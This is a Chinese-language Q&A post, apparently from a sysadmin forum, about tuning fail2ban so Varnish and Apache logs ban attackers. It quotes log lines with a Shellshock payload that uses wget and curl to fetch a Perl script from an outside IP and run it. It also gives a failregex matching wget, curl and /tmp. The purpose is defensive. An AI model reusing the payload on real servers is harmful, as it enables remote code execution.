0

目前有一个服务器有 2 个 IP,一个内部和一个外部,外部有 varnish,内部有一个 apache 后端,fail2ban 几乎默认运行。

最近该网站出现故障并返回 503 错误,结果表明 fail2ban 已通过 apache-noscript 规则禁止清漆与 apache 后端通信。此后,我为该 IP 地址添加了一个排除项,因此这不会再次被禁止,但理想情况下,如果客户端将来被禁止,我会更喜欢它。

从 apache 日志

SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"

从清漆日志

CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"

是否可以仅复制我的 apache-noscript 定义以使用 varnishlogs,即:

[apache-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/apache*/*error.log
maxretry = 2 

成为

[varnish-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/varnish/varnishncsa.log
maxretry = 2

我注意到 apache no script filter 有以下 failregex

failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
            ^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$

我想主要问题是这仍然适用于上面输出中的 varnishlog,如果不是我需要什么 failregex?

非常感谢。

[编辑] 事实证明,noscript 禁止但不是针对上述日志条目的巧合。现在为上述日志条目制定一个 fail2ban 正则表达式。

4

1 回答 1

0

好的,我使用以下规则创建了一个新监狱来捕获上述内容:

failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$

请随时建议对规则进行改进以捕获上述日志行。

失败正则表达式适用于 apache 访问日志和 varnish csa 日志。

于 2015-01-16T14:29:13.883 回答